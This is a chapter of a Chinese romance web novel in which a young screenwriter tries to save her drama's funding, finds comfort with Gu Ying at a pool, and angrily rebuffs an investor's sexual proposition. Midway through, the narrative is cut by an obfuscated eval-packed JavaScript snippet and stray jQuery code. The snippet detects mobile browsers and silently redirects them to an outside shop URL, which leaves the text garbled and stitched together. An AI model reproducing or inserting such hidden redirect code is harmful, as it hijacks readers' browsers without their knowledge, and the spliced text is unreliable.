回到房间,还没从窘迫情绪撤回的钟知晓,瞧见葛双一脸愁闷。
“双双,你怎么了?”
葛双担忧地问:“你说我们能拿到尾款吗?”
钟知晓摇摇头没说话,她也不知道。
看来撤资是板上钉钉没有回转的余地,接下来的拍摄要怎么进行?剧组上百号人,人心惶惶,还有心情做事吗...
就算勉强拍完,后期制作宣传同样是一笔不小的费用。
不管怎么说,这都是因为自己引起的变动。
要去道歉妥协吗?现在及时止损还是坚持到最后,哪个比较好?钟知晓想了许久。
不管是登门道歉也好,还是继续修改,她都不想让上百号人几个月的心血就此白费,即便是烂也得让大家看到结果,交给市场决定。
带上加班加点改出来的剧本,钟知晓找到丁恺之:“丁导,这是按照之前投资方要求修改的剧本。”
“又通宵了?”
“我和葛双一起改的。不能让他们就那样撤资,这么多人都等着。”钟知晓垂着眼,“师哥,我之前问过你,如果这部剧拍出来很烂很烂,那我们的坚持还有意义吗?你说不知道,我也不知道。”
“可我想了想,不能因为预想的烂而让剧组停工,就快拍完了,是好是坏,得有个结局。不能因为我说,而让你、让剧组就这样卡在差点结尾的地方。”
“我知道你是为了这剧着想,我也明白你的坚持,我跟你同样不想辛苦几个月拍出一部烂片。”丁恺之叹了口气,“但投资方已经确定撤资了。”
“能不能再约一次庞总,我去求他们。”钟知晓着了急。
“就说我们开了好几次会,仔仔细细把他们的提议要求讨论沟通了好久,根据他们的建议将剧本修改得更合理了。”
“崔姐那边还在沟通新的投资方。”丁恺之安慰道,“我算了下,加快拍摄进度的话,勉勉强强应该能拍完,你别太担心。”
“可是...”
钟知晓知道提高拍摄进度同样不易,大概率牺牲效果去换时间。
“今天你别去片场了,好好休息。”丁恺之拍拍她肩,“没事的。”
之前坚持不改设定是想对作品负责,是不想看到大家的付出一场空。
但现在因为她的坚持,剧组变成了摇摇欲坠的危楼,她要如何做到视若无睹?
钟知晓点开微信想好措辞,编辑再三发了出去:崔姐,剧本我们按之前建议改好了,能不能再联系下庞总,我去道歉什么都可以。
半晌没回复,钟知晓躺在床上睡不着,手机振动两下,是顾应的消息。
顾应:在泳池等你。
钟知晓:你今天没戏吗?
顾应:一点也不关心我,我今天没戏。
钟知晓:哦,没心情。
顾应的电话随即拨了过来,手机振动的频率某一瞬间跟心跳声重合,钟知晓莫名紧张接起电话。轻快的声音传到耳边:“别担心了。”
“也就一点点吧。”
“你知道吗?游泳又称为水中冥想,而且水能溶解不好的情绪。”
这话真的科学吗?钟知晓明显不信:“你在哪看到的骗人科普,少刷点短视频。”
“是真的,以前每次我心情不好的时候,去游一小时,游完只剩平静了。”
钟知晓半信半疑:“真的?”
“在水里你只会想着呼吸,顾不上别的。”
“很有道理...”钟知晓现在的游泳水平,确实没办法想别的事。
“你信我,我刚结束饭局在泳池等你。”
“一天天,你局怎么这么多?”
顾应装可怜:“你得好好安慰我。”
钟知晓不吃这一套:“少来!”
约在泳池,但顾应却不下水,钟知晓质疑道:“我还没见过你游泳呢,你真会游吗?”
“刚喝了酒,下次我俩比赛如何?游泳我可真不菜。”
“是吗...你说的游泳队不会是少儿训练班吧。”
顾应坦然地点头:“我学到十岁就没再训练了。”
“十岁?”钟知晓停下脚步,震惊于顾应的大言不惭。她真信了顾应是游泳队的,至少是个省市的专业游泳队。
“那你七八岁开始学的话,也就两三年。”
“我六岁学的,这可是童子功!”
顾应急着证明自己,“教练说我可有天赋了,我本来都被选拔到省队了。”
在没见到顾应真实水平之前,钟知晓持怀疑态度,“那你怎么没去?”
“我妈妈...走了。”顾应垂下眼,片刻换上平淡的语气,“我被送到周胜全那,他不管我的。”
钟知晓愣神片刻,一不小心戳中人的伤心事。
原来顾应妈妈在他那么小就离开了,别人不管,十岁的小孩要怎么度过长大前的日子呢。即便此刻换了语气,但钟知晓仍捕捉到他垂眼那刻的伤心。
她想要安慰顾应,可说什么都无济于事。
钟知晓抬起手来拍了拍顾应的手臂:“阿姨见到你现在这般好,肯定特别开心。”
顾应轻轻嗯了一声:“我没事,以后再慢慢给你讲我的事,快去游泳吧。”
钟知晓迟疑片刻答应道:“好。”
“我就在这里看着你,别分心。”顾应小幅度挥手示意快去。
只见钟知晓走了两步却又回头,快步走向他。猝不及防的,顾应被钟知晓双手环抱,胸口传来温度,背被轻轻拍着。
钟知晓像哄小孩一般在安慰他,什么也没说。
但就算什么也不说,顾应也能感到温度一点点通过皮肤渗透他。
水真能溶解不好的情绪?钟知晓带着疑问在水里扑腾,跟随水起伏、抬头低头,清晰地感知到水从全身流过。
顾应说得好像是有那么一点道理,一吸一呼之间,水接纳了她所有的坏情绪。
怪不得顾应爱游泳,那些年独自长大的日子一定很不容易。
游完最后一圈,出水时顾应正朝着她微笑。
看起来自恋臭屁的傲娇大王,背地里竟是个小苦瓜,钟知晓轻轻叹息一声。
等她走出游泳馆时,顾应早早站在门口等着她。
说真心话,换做是她,两三次或许可以,但许多次耐心地陪伴,不是普通朋友能做到。
更何况对现在的人来说,时间很宝贵,怎么可能浪费在无关紧要的人身上。
没人不臣服于温柔,即便顾应从未明确提过他的心意,但钟知晓不是木头。
“我有话跟你说。”顾应轻声开口。
难道是现在?
钟知晓还没准备好,她承认对顾应有好感。但不清楚这份好感来源于哪里,是一时还是心动爱上了眼前这个人。
现在不是个好时机,钟知晓摇头忙说:“不不...我还有事先走了。”
“你真不听?”
心打着结,理不清,半晌,钟知晓说:“先不听。”
“我还有点事,我叫人送你回去。”顾应没勉强,投资的事明天钟知晓也会知道。
“不用,我打车就好。”钟知晓看了眼手机,眉头微微蹙起:“这个时间点,你还有事?”
“少脑补些有的没的,没人能勉强我。”顾应顿了顿,“还有,我不是随便的人。”
...
运动后,钟知晓睡得香甜,早晨闹钟还未响,崔姐的电话打了过来。
她睡眼惺忪,见到崔姐电话立马清醒:“崔姐,是庞总同意了吗?”
“他同意见一面,我在外地谈事情,你和丁导去吧。”
挂完电话钟知晓忙起身收拾准备,丁恺之忙着拍摄抽不出时间,她独自准备好改动的剧本,脑子里想等会要怎么说。
忙活半天简单收拾了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692674|204153||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下自己,平常在剧组习惯了怎么方便怎么来,现在去求投资方还是得注意下形象。
约的地点在酒店大堂的咖啡厅,重要场合她不敢卡点,钟知晓提前二十分钟到了。
二十分钟过去,庞峰没到。
半小时还没到。
钟知晓一直盯着门口,毕竟是她求人,也不敢催促,只好独自心急,咖啡都已喝了一大半。
总算瞧见庞峰的身影出现在门口,钟知晓连忙起身招呼:“庞总这里。”
庞峰盯着钟知晓微微愣住,随后说道:“差点没认出来,没想到小钟你这么漂亮。”
...钟知晓强忍着恶心微笑切入正题。“庞总,您上次提的修改要求...建议,我们剧组开了好几次会讨论沟通,其实您说的很有道理,我和同事连夜按照您的建议修改了一版,您看看?”
说完将剧本递到庞峰面前,庞峰迟迟未打开。
他慵懒地靠在沙发上:“我记得你上次不是说改了百分百烂片吗?”
“那是我思想境界没到位,对市场认知不够清晰,对剧定位模糊不清,看得没您远。”
钟知晓背书一般念着早已想好的词。
庞峰冷笑一声:“早听我的不就好了吗?”
“是是是,全都是怪我。”
钟知晓赔着笑,“庞总您别跟我计较,我眼光浅看不了那么远。您要不先看看这一版剧本改得如何,可以的话我再同步给剧组。”
庞峰却没动,上下打量着,眼神直勾勾的:“我想帮你,可是我也没办法,流程已经走完了。”
钟知晓被盯得很不舒服,但她强忍着烦躁,手紧紧地抓住沙发,极力克制着。
“就一个流程,对庞总您说再简单不过了,一句话的事。”
庞峰总算动了动,将背挺起来又朝前倾,身体都快靠到咖啡杯上,“嗯,好像也是。”
“那就拜托庞总了?”
钟知晓一点点往后仰,希望自己不要表现得太明显。
庞峰再次靠回沙发,翘起二郎腿,手指在桌上轻轻敲着,没说话。
钟知晓愣神片刻,反应过来,庞峰这是要好处回扣?
但她只是只小蚂蚁,跟她要回扣能要到多少。
钟知晓想了想:“如果您这边对剧本没问题的话,我同步到崔姐,具体投资合作事宜是崔姐做主。”
话说得够明白吧,要跟崔姐谈,不管是好处还是回扣。
庞峰假笑一声:“我没说剧本没问题呀,我连看都没看。”
“是是,麻烦您抽时间看看,有什么建议我们再聊?”
庞峰做作地看了眼手机:“这样吧,我现在能抽出些时间,要不小钟你跟我一起?”
钟知晓想这样更好,中途有意见她马上就能知道,也方便快速定下来。
而且这一版就是上一世拍的那一版,不会有更多的意见。
怕庞峰反悔,她立马答应:“好的,我等您看完。”
庞峰像是没意料钟知晓答应得这么快,哦了一声:“行,那你等我一下。”
进行得还挺顺利,只要不要因为她剧组拍不下去,暂时的低头认错钟知晓能忍。
她端起桌上的咖啡喝了一口,习惯工作带来的现实毒打,现在就连喝美式也不觉得苦了。
“走。”庞峰站到桌前催促道。
?钟知晓迟疑地抬头:“去哪?”
“上楼。”庞峰点头示意,手里握着房卡,大大咧咧毫不掩饰,眼神在钟知晓脸上流连,直白而猥琐。
“嗡”的一声,钟知晓头皮发麻。
毕业几年她仍保持着天真单纯愿意相信世间好人,可面对总有的腌臜人时,血液从心脏涌向大脑,脸都涨红了。
脸红并不只代表害羞,是愤怒。
是无法掩饰也不能掩饰的愤怒。
她眼神凶狠地回瞪过去:“脑子有病!”